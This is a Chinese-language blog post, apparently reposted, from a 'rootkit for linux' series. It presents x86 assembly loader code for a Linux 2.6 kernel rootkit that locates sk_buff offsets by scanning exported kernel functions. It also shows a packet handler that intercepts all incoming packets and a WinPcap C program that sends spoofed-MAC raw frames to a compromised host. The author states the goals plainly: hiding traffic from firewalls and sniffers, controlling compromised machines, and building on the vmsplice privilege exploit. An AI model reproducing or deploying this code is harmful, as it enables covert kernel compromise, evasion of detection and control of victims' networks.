rootkit for linux 6.截获skb
来源:互联网 发布:软件编辑工具 编辑:程序博客网 时间:2024/05/12 09:54
胡锦涛说的好:自己动手,丰衣足食。
现在,我们要自己动手,让防火墙和嗅探器去吃屎吧。
现在面对的是三座大山“获得protocol的偏移,获得len的偏移,获得data的偏移”
我的思路是寻找一个访问到这三个字段的函数,搜关键指令。
这方法最好配合一个反汇编引擎,效果绝佳。但是现在反汇编引擎我tmd还没时间写,所以手动波先用着啊。其实手动波在很多情况下都是够用的。
我们要找这样一个函数,它在符号表中被导出,它在各个版本的内核中变换不大,它的关键指令易于搜索。
满足这三个条件的函数你别说还真难找,我tmd找了一个下午。我到现在也没琢磨出内核符号表导出的规律,有些函数是static,又被导出了,有些函数不是static,却没被导出,你说犯贱不。但是有一点是肯定的,EXPORT_SYMBOL了的函数是绝对会被导出的。
Part I 寻找三个关键偏移
1. 在 skb_gso_segment 里寻找 protocol 字段的偏移
男一号“skb_gso_segment”隆重当选。
- struct sk_buff *skb_gso_segment(struct sk_buff *skb, int features)
- {
- struct sk_buff *segs = ERR_PTR(-EPROTONOSUPPORT);
- struct packet_type *ptype;
- __be16 type = skb->protocol;
- int err;
- ......
这函数干脆。一开始就访问 skb->protocol。而且在2.6.18 ~ 2.6.24,这函数的开头都没有变过。真是难得。
我们反汇编看看。
- 00000000 <.data>:
- 0: 55 push %ebp
- 1: 89 d5 mov %edx,%ebp
- 3: 57 push %edi
- 4: 56 push %esi
- 5: 89 c6 mov %eax,%esi
- 7: 53 push %ebx
- 8: 83 ec 10 sub $0x10,%esp
- b: 0f b7 78 6a movzwl 0x6a(%eax),%edi
- f: 8b 80 88 00 00 00 mov 0x88(%eax),%eax
- 15: 8b 40 10 mov 0x10(%eax),%eax
- 18: 85 c0 test %eax,%eax
- 1a: 0f 85 ba 00 00 00 jne 0xda
看到没?movzwl 那句话就是读取skb->protocol的。0x6a就是我们要的偏移。那好办,搜 0f b7 就行了。为什么不搜 0f b7 78 呢?因为我试验了下,估计 0xb70f 那部分是代表“这个指令是 movzwl”,后面的 0x78 代表“这指令操作的寄存器是 %eax %edi”,再后面的“0x6a”就是偏移了。前面都说了,这里用反汇编引擎是最好的,我还没有仔细看过intel的机器码编码格式,呵呵。
所以我们搜 0f b7,它的开头处往后的第三个字节就是我们要的偏移了。
2. 在skb_copy中寻找data字段的偏移
女一号“skb_copy”隆重当选。为啥呢?她从2.6.18 ~ 2.6.24 ,基本上没咋过,非常专一,不会变心。别忘了,2.6.17 ~ 2.6.24 是我们的 vmsplice 漏洞的作用范围。
- struct sk_buff *skb_copy(const struct sk_buff *skb, gfp_t gfp_mask)
- {
- int headerlen = skb->data - skb->head;
- /*
- * Allocate the copy buffer
- */
- struct sk_buff *n;
- #ifdef NET_SKBUFF_DATA_USES_OFFSET
- n = alloc_skb(skb->end + skb->data_len, gfp_mask);
- #else
- n = alloc_skb(skb->end - skb->head + skb->data_len, gfp_mask);
- #endif
- if (!n)
- return NULL;
- /* Set the data pointer */
- skb_reserve(n, headerlen);
- 。。。
这函数也是一开始就取了skb->data。
- 00000000 <.data>:
- 0: 55 push %ebp
- 1: 31 c9 xor %ecx,%ecx
- 3: 57 push %edi
- 4: 56 push %esi
- 5: 89 c6 mov %eax,%esi
- 7: 53 push %ebx
- 8: 83 ec 04 sub $0x4,%esp
- b: 8b b8 8c 00 00 00 mov 0x8c(%eax),%edi
- 11: 8b a8 90 00 00 00 mov 0x90(%eax),%ebp
- 17: 8b 80 88 00 00 00 mov 0x88(%eax),%eax
- 1d: 8b 5e 58 mov 0x58(%esi),%ebx
- 20: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp)
- 27: 29 f8 sub %edi,%eax
- 29: 01 d8 add %ebx,%eax
- 2b: e8 20 fc ff ff call 0xfffffc50
- 30: 85 c0 test %eax,%eax
- 32: 89 c3 mov %eax,%ebx
- 34: 74 75 je 0xab
- 36: 8b 4b 58 mov 0x58(%ebx),%ecx
- 39: 29 fd sub %edi,%ebp
- 3b: 01 a8 84 00 00 00 add %ebp,0x84(%eax)
- 41: 89 ef mov %ebp,%edi
- 43: 01 a8 90 00 00 00 add %ebp,0x90(%eax)
- 49: 8b 56 54 mov 0x54(%esi),%edx
- 4c: 85 c9 test %ecx,%ecx
- 4e: 8b 80 84 00 00 00 mov 0x84(%eax),%eax
- 54: 75 5d jne 0xb3
第9,10行的时候,skb->data和skb->head已经取出来了。在第 21 ~ 24 执行的是 skb_reserve 这个 inline 函数。
- static inline void skb_reserve(struct sk_buff *skb, int len)
- {
- skb->data += len;
- skb->tail += len;
- }
如法炮制,我们只要搜 8b 就行了。我对比了下 2.6.18 和 2.6.24 的反汇编,发现都是这个情况。所以可以放心地搜 8b 。
3. 在 skb_pull_rcsum 里寻找 len字段的偏移
这个。。最佳配角“skb_pull_rcsum”隆重登场!这函数也完全符合条件。开门见山,一开始就判断 len > skb->len。
- unsigned char *skb_pull_rcsum(struct sk_buff *skb, unsigned int len)
- {
- BUG_ON(len > skb->len);
- skb->len -= len;
- BUG_ON(skb->len < skb->data_len);
- skb_postpull_rcsum(skb, skb->data, len);
- return skb->data += len;
- }
- EXPORT_SYMBOL_GPL(skb_pull_rcsum);
- 00000000 <.data>:
- 0: 56 push %esi
- 1: 89 d6 mov %edx,%esi
- 3: 53 push %ebx
- 4: 89 c3 mov %eax,%ebx
- 6: 83 ec 0c sub $0xc,%esp
- 9: 8b 40 54 mov 0x54(%eax),%eax
- c: 39 d0 cmp %edx,%eax
- e: 72 60 jb 0x70
- 10: 29 d0 sub %edx,%eax
我们只要找到第一个mov就行了,一样搜 8b 。这个函数我也是对比了各个版本的反汇编的。也基本没变化。
好了,现在我们搞到了重要字段的偏移。采用这种方法,意味着什么呢?
我们的rootkit是跨版本的!跨越了 2.6.18 ~ 2.6.24 。这已经是个大跨越了!
毕竟跨度还不大。但如果你想跨越 0.11 ~ 2.6.24 。那就不是在研究rootkit,而是在研究人工智能了。
找这几个函数的时候,我深刻地体会到程序员实际上也是个体力活。呵呵。
不过下面就方便了,为我们截获skb铺平了道路!
代码和上次相比有所更改。无论是通过 inline hook netif_receive_skb 还是通过 hook ptypes_all,都会到达 handle_incoming_skb 这个函数,这个函数负责处理我们的包。现在这个函数里还没什么内容。
- EXPORT_LABEL(loader_start)
- ....
- GET_STR("skb_gso_segment", %eax)
- movl $15, %edx
- call ksym_lookup
- jz loader_out
- movw $0xb70f, 4(%esp)
- movl $0x100, %edx
- leal 4(%esp), %ecx
- movl $2, (%esp)
- call memmem
- jz loader_out
- movzbl 3(%eax), %eax
- GET_ADDR(skbuff.protocol, %ebx)
- movl %eax, (%ebx)
- movl %eax, 4(%esp)
- __DPRINT("<3>skbuff.protocol is %lx/n")
- # get skbuff.protocol
- GET_STR("skb_copy", %eax)
- movl $8, %edx
- call ksym_lookup
- jz loader_out
- movb $0x8b, 4(%esp)
- movl $0x100, %edx
- leal 4(%esp), %ecx
- movl $1, (%esp)
- call memmem
- jz loader_out
- movzbl 2(%eax), %eax
- addl $4, %eax
- GET_ADDR(skbuff.data, %ebx)
- movl %eax, (%ebx)
- movl %eax, 4(%esp)
- __DPRINT("<3>skbuff.data is %lx/n")
- # get skbuff.data
- GET_STR("skb_pull_rcsum", %eax)
- movl $14, %edx
- call ksym_lookup
- jz loader_out
- movw $0x408b, 4(%esp)
- movl $0x100, %edx
- leal 4(%esp), %ecx
- movl $2, (%esp)
- call memmem
- jz loader_out
- movzbl 2(%eax), %eax
- GET_ADDR(skbuff.len, %ebx)
- movl %eax, (%ebx)
- movl %eax, 4(%esp)
- __DPRINT("<3>skbuff.len is %lx/n")
- # get skbuff.len
- ....
- # common var
- skbuff.len: .fill 4
- skbuff.data: .fill 4
- skbuff.protocol: .fill 4
- ....
- # handle incoming skb
- handle_incoming_skb:
- pushl %ebx
- pushl %ecx
- pushl %esi
- pushl %eax
- pushl %edx
- movl %eax, %esi
- subl $10, %esp
- GET_ADDR(skbuff.protocol, %ebx)
- movl %esi, %ecx
- addl (%ebx), %ecx
- movzwl (%ecx), %ecx
- movl %ecx, 4(%esp)
- GET_ADDR(skbuff.len, %ebx)
- movl %esi, %ecx
- addl (%ebx), %ecx
- movl (%ecx), %ecx
- movl %ecx, 8(%esp)
- __DPRINT("<3>skb: prot %lx, len %lx/n")
- addl $10, %esp
- popl %edx
- popl %eax
- popl %esi
- popl %ecx
- popl %ebx
- ret
现在也就是把所有的包的protocol 字段显示出来。没什么别的功能。
Part II 截获skb测试
那么我们怎么测试呢?
我们要在数据链路层发包,利用普通的socket当然不行。我们用大名鼎鼎的 WpdPack SDK。这家伙是用来做嗅探器的。当然也提供了sdk,可以直接操作网卡发包,巨强大。
以下代码在 vs 2005 下编译通过。
- #include <stdio.h>
- #include <pcap.h>
- #include <packet32.h>
- #include <ntddndis.h>
- #include <remote-ext.h>
- int main(int argc, char *argv[])
- {
- pcap_t *fp;
- pcap_if_t *alldevs;
- pcap_if_t *d;
- int inum;
- int i=0;
- pcap_t *adhandle;
- char errbuf[PCAP_ERRBUF_SIZE];
- u_char packet[100];
- /* Retrieve the device list on the local machine */
- if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
- {
- fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
- exit(1);
- }
- /* Print the list */
- for(d=alldevs; d; d=d->next)
- {
- printf("%d. %s", ++i, d->name);
- if (d->description)
- printf(" (%s)/n", d->description);
- else
- printf(" (No description available)/n");
- }
- if(i==0)
- {
- printf("/nNo interfaces found! Make sure WinPcap is installed./n");
- return -1;
- }
- printf("Enter the interface number (1-%d):",i);
- scanf("%d", &inum);
- if (inum < 1 || inum > i)
- {
- printf("/nInterface number out of range./n");
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
- /* Jump to the selected adapter */
- for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
- /* Open the device */
- if ( (fp = pcap_open(d->name, // name of the device
- 100,
- PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
- 1000, // read timeout
- NULL, // authentication on the remote machine
- errbuf // error buffer
- ) ) == NULL)
- {
- fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n", d->name);
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
- /* target mac */
- packet[0] = 0x00;
- packet[1] = 0x0c;
- packet[2] = 0x29;
- packet[3] = 0x80;
- packet[4] = 0x59;
- packet[5] = 0x91;
- /* our mac */
- packet[6] = 0x12;
- packet[7] = 0x34;
- packet[8] = 0x56;
- packet[9] = 0x78;
- packet[10] = 0x90;
- packet[11] = 0x12;
- /* out protocol */
- packet[12] = 0x53;
- packet[13] = 0x16;
- /* Send down the packet */
- if (pcap_sendpacket(fp, packet, 100 /* size */) != 0)
- {
- fprintf(stderr,"/nError sending the packet: /n", pcap_geterr(fp));
- return;
- }
- return 0;
- }
这是段测试代码,首先你要知道虚拟机里的网卡的mac地址。就是target mac。
你自己的地址(our mac)就随便了,这点也很重要的,为什么呢?因为我们是rootkit,你不能像正常的以太网包一样把自己的真实mac地址放在包头。那样的话,如果跟肉鸡同一网段里的某网卡进了混杂模式,用嗅探器就可以看到我们的包,包头有我们的mac地址,那样还不完蛋!
那肉鸡怎么获得我们的mac地址呢?包的内容可以加密,在那里面就包含了我们的mac地址。在肉鸡往回发的时候就知道mac地址了。
这样,我们的包就算被嗅探到了,嗅探器也不知道是哪里来的包。没法追查下去。
测试一下吧,看看效果!
看到没! 我们的包收到了! 协议是我们的自己定义的 0x1653 !
同时,所有的skb都会被截获到! 而且不会被所有嗅探器和防火墙发现!
你要丢掉一个skb,把它的len 设成0就行了! 多么简单!
就这样! 你已经控制了半个网络!!
为什么说是半个网络呢? 因为还有“发包”还没有实现!
不怕,慢慢来,迟早会实现的!
- rootkit for linux 6.截获skb
- rootkit for linux 5.啥是skb
- rootkit for linux 10.小结
- rootkit for linux 2.寻找入口点
- rootkit for linux 12.枚举目录
- rootkit for linux 14.file handle
- rootkit for linux 15.寻找eth设备
- rootkit for linux 18.tcp原理概述
- rookit for linux 9.发送skb---使用工作队列
- skb - Linux network buffers
- skb - Linux network buffers
- skb --- linux network buffers
- linux 中skb结构
- Linux skb->priority Qos
- Linux网络设备驱动-- skb
- Rootkit For Windows, Rootkit For Windows
- rootkit for linux 1.ring0下的溢出
- rootkit for linux 3.小窥数据链路层
- 点评同事系统第一天上线情况监控报告(续)
- Non-thorough underlevel tech learning could be harmful
- 和领导同桌喝酒须注意的18项原则_IT职场人生 文章来源:IT人才网(http://www.ad0.cn)
- 消息映射
- 今天开始正式入住CSDN博客
- rootkit for linux 6.截获skb
- SQL Server 2005学习之T-SQL数据库设计一
- 最累的SR......
- Qt 不规则窗体的实现
- 加增对Static构造函数的认识
- 用QT创建新风格Howto
- Qt图形用户界面编程技术入门
- Microsoft .Net Remoting系列专题之二 (对象管理及生命周期)
- ARP攻击基本知识